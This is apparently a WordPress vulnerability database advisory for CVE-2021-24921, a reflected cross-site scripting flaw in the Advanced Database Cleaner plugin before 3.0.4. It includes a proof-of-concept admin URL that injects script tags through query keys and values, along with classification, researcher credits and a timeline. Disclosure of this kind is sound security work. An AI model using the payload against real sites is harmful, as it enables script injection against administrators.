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How it worksPricing
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WordPress Plugin Vulnerabilities

Advanced Database Cleaner < 3.0.4 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape $_GET keys and values before outputting them back in attributes, leading to Reflected Cross-Site Scripting issues

Proof of Concept

https://example.com/wp-admin/admin.php?page=advanced_db_cleaner&aDBc_tab=options&aDBc_cat=all&'><script>alert(/XSS-key/)</script>=<script>alert(/XSS-value/)</script> 

Affects Plugins

advanced-database-cleaner
Fixed in version 3.0.4

References

CVE
CVE-2021-24921

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

ZhongFu Su(JrXnm) of Wuhan University

Submitter

ZhongFu Su(JrXnm) of Wuhan University

Submitter website
https://blog.szfszf.top
Submitter twitter
JrXnm
Verified

Yes

WPVDB ID
43ab0997-4d15-4ff7-af41-7b528b0ba3c7

Timeline

Publicly Published

2022-01-24 (about 1 years ago)

Added

2022-01-24 (about 1 years ago)

Last Updated

2022-09-26 (about 8 months ago)

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